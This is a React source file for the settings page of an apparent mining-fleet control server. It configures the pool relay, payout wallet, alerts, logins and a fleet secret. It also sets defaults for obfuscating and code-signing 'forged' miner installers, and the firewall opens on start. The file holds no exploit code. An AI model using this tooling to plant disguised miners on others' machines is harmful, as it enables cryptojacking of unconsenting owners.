import { useState, useEffect, useRef } from 'react'; import { api } from '../api/client'; import { setStoredAuth, getStoredAuth, clearStoredAuth, authHeaders } from '../api/auth'; import type { ServerConfig } from '../types'; import { HelpTip, FieldHint } from '../components/HelpTip'; import NeonCard from '../components/NeonCard/NeonCard'; import './Pages.css'; /** Recursively merge `override` into `base`, preserving keys not in `override`. */ export function deepMerge(base: T, override: Partial): T { const result = { ...base } as T; for (const key in override) { const val = override[key]; const baseVal = base[key]; if ( val !== null && val !== undefined && typeof val === 'object' && !Array.isArray(val) && typeof baseVal === 'object' && baseVal !== null && !Array.isArray(baseVal) ) { result[key] = deepMerge(baseVal as object, val as object) as T[typeof key]; } else if (val !== undefined) { result[key] = val as T[typeof key]; } } return result; } export default function SettingsPage() { const [config, setConfig] = useState(null); const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null); const [loading, setLoading] = useState(true); const [saving, setSaving] = useState(false); const [saveMessage, setSaveMessage] = useState(''); const [newUser, setNewUser] = useState(''); const [newPass, setNewPass] = useState(''); const [sessionUser, setSessionUser] = useState(''); const [sessionPass, setSessionPass] = useState(''); const [userMsg, setUserMsg] = useState(''); const [rotatingSecret, setRotatingSecret] = useState(false); const [rotateMsg, setRotateMsg] = useState(''); const fileInputRef = useRef(null); useEffect(() => { Promise.all([api.getConfig(), api.getServerInfo()]) .then(([cfg, info]) => { setConfig({ ...cfg, server: { public_url: cfg.server?.public_url ?? '', stats_retention_hours: cfg.server?.stats_retention_hours ?? 168, build_retention_days: cfg.server?.build_retention_days ?? 30, pool_reconnect_seconds: cfg.server?.pool_reconnect_seconds ?? 30, websocket_ping_seconds: cfg.server?.websocket_ping_seconds ?? 30, max_agents: cfg.server?.max_agents ?? 256, max_build_size_mb: cfg.server?.max_build_size_mb ?? 150, log_agent_connections: cfg.server?.log_agent_connections ?? true, log_share_submissions: cfg.server?.log_share_submissions ?? false, log_pool_traffic: cfg.server?.log_pool_traffic ?? false, strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false, dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion', open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true, }, }); setServerInfo(info); }) .catch(console.error) .finally(() => setLoading(false)); }, []); const updateField = (path: string, value: unknown) => { if (!config) return; const newConfig = { ...config }; const keys = path.split('.'); let obj: Record = newConfig as unknown as Record; for (let i = 0; i < keys.length - 1; i++) { const key = keys[i]; if (!obj[key] || typeof obj[key] !== 'object') { obj[key] = {}; } obj = obj[key] as Record; } obj[keys[keys.length - 1]] = value; setConfig(newConfig); }; const handleSave = async () => { if (!config) return; setSaving(true); setSaveMessage(''); try { const updated = await api.updateConfig(config); setConfig(updated); setSaveMessage('Calibration saved — control server updated.'); setTimeout(() => setSaveMessage(''), 4000); } catch (err: unknown) { setSaveMessage(`Save failed: ${err instanceof Error ? err.message : 'unknown error'}`); } finally { setSaving(false); } }; const handleExportConfig = () => { if (!config) return; const blob = new Blob([JSON.stringify(config, null, 2)], { type: 'application/json' }); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = 'aetherforge-server-config.json'; a.click(); URL.revokeObjectURL(url); }; const handleImportConfig = () => fileInputRef.current?.click(); const handleFileSelected = (e: React.ChangeEvent) => { const file = e.target.files?.[0]; if (!file) return; const reader = new FileReader(); reader.onload = (evt) => { try { const data = JSON.parse(evt.target?.result as string); // Deep-merge so importing a partial config (e.g. only "pool" key) doesn't // wipe unrelated nested sections like "default_agent" or "mining". setConfig((prev) => (prev ? deepMerge(prev, data) : prev)); setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`); } catch { setSaveMessage('Invalid JSON file.'); } }; reader.readAsText(file); e.target.value = ''; }; const handleSessionLogin = () => { if (!sessionUser || !sessionPass) return; setStoredAuth(sessionUser, sessionPass); setUserMsg('Session login saved — API calls from this browser will authenticate.'); setTimeout(() => setUserMsg(''), 4000); }; const handleSessionLogout = () => { clearStoredAuth(); setSessionUser(''); setSessionPass(''); setUserMsg('Session login cleared.'); setTimeout(() => setUserMsg(''), 3000); }; const handleRotateSecret = async () => { if (!window.confirm( 'Rotate fleet secret?\n\n' + 'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' + 'Click OK only if you are ready to re-forge your entire fleet.' )) return; setRotatingSecret(true); setRotateMsg(''); try { await fetch('/api/v1/server/rotate-secret', { method: 'POST', headers: { ...authHeaders() }, }).then(async (r) => { if (!r.ok) throw new Error(await r.text()); return r.json(); }); setRotateMsg('Secret rotated. Re-forge all agents to reconnect.'); } catch (e: unknown) { setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e))); } finally { setRotatingSecret(false); setTimeout(() => setRotateMsg(''), 6000); } }; const handleAddUser = async () => { if (!newUser || !newPass) return; try { await api.createUser(newUser, newPass); setUserMsg(`User "${newUser}" added successfully!`); if (!getStoredAuth()) { setStoredAuth(newUser, newPass); } setNewUser(''); setNewPass(''); setTimeout(() => setUserMsg(''), 3000); } catch { setUserMsg('Failed to save user — sign in under Browser session first.'); setTimeout(() => setUserMsg(''), 4000); } }; if (loading) { return (

SERVER ONLY

Calibrate

Loading server calibration...

); } if (!config) { return (

Failed to load server configuration.

); } const s = config.server || { public_url: '', stats_retention_hours: 168, build_retention_days: 30, pool_reconnect_seconds: 30, websocket_ping_seconds: 30, max_agents: 256, max_build_size_mb: 150, log_agent_connections: true, log_share_submissions: false, log_pool_traffic: false, strict_wallet_validation: false, dashboard_subtitle: '', open_firewall_on_start: true, obfuscate_default: false, sign_enabled: false, sign_cert_thumbprint: '', sign_tool_path: '', sign_timestamp_url: 'http://timestamp.digicert.com', }; return (

CONTROL SERVER · LOCAL HOST

Calibrate

Settings for this machine only — the dashboard, pool relay, and LAN address. Miner installers are built in the Forge tab.

{saveMessage && (
{saveMessage}
)} {serverInfo && (

DETECTED LAN ENDPOINTS

Suggested: {serverInfo.suggested_url}

{serverInfo.local_ips?.length > 0 && (

IPs on this host: {serverInfo.local_ips.join(' · ')}

)}

Workers need this LAN address — not localhost. Click below to apply best defaults, then Save Calibration.

)}

Control Server

How this dashboard and API are hosted on your network.

updateField('port', parseInt(e.target.value) || 8989)} /> Restart server after changing port.
updateField('data_dir', e.target.value)} />
updateField('server.public_url', e.target.value)} /> {serverInfo?.suggested_url && ( )}
updateField('server.dashboard_subtitle', e.target.value)} />

Upstream Pool

The control server connects here and relays work to your fleet (not per-miner in this tab).

updateField('pool.host', e.target.value)} />
updateField('pool.port', parseInt(e.target.value) || 3333)} />
updateField('pool.password', e.target.value)} />
updateField('server.pool_reconnect_seconds', parseInt(e.target.value) || 30)} />

Fleet Payout Wallet

Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.

updateField('wallet.address', e.target.value)} />
updateField('wallet.payment_id', e.target.value)} />

Fleet Alerts

Dashboard thresholds for agent health.

updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} />
updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} />
updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} />

Alert Notifications

Telegram and email when fleet thresholds fire (offline, hashrate crash, rejection spike).

updateField('alerts.telegram_bot_token', e.target.value)} placeholder="123456:ABC…" />
updateField('alerts.telegram_chat_id', e.target.value)} placeholder="-100…" />
{config.alerts.email_enabled && ( <>
updateField('alerts.smtp_host', e.target.value)} />
updateField('alerts.smtp_port', parseInt(e.target.value) || 587)} />
updateField('alerts.smtp_user', e.target.value)} />
updateField('alerts.smtp_password', e.target.value)} />
updateField('alerts.email_to', e.target.value)} />
updateField('alerts.email_from', e.target.value)} />
)}

Forge Pipeline

Defaults for obfuscation and code signing applied when forging on this control PC.

updateField('server.sign_cert_thumbprint', e.target.value)} />
updateField('server.sign_tool_path', e.target.value)} />
updateField('server.sign_timestamp_url', e.target.value)} />

Data & Limits

Retention and capacity for this host.

updateField('server.stats_retention_hours', parseInt(e.target.value) || 168)} />
updateField('server.build_retention_days', parseInt(e.target.value) || 30)} />
updateField('server.max_agents', parseInt(e.target.value) || 256)} />
updateField('server.max_build_size_mb', parseInt(e.target.value) || 150)} />
updateField('server.websocket_ping_seconds', parseInt(e.target.value) || 30)} />

Server Logging

What this control server writes to its log.

Access Control

API routes require login. On first server start, credentials are printed once in the server console (admin + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).

setSessionUser(e.target.value)} />
setSessionPass(e.target.value)} />
{getStoredAuth() && Session active}
setNewUser(e.target.value)} />
setNewPass(e.target.value)} />
{userMsg && (
{userMsg}
)}

Fleet Security

A Fleet Secret is auto-generated on first server start and baked into every forged agent. Agents without the correct secret are rejected. Use rotation if the secret is compromised — it immediately kicks all connected agents; re-forge to reconnect.

⚠ Kicks all agents. You must re-forge after rotating.
{rotateMsg && (

{rotateMsg}

)}
); }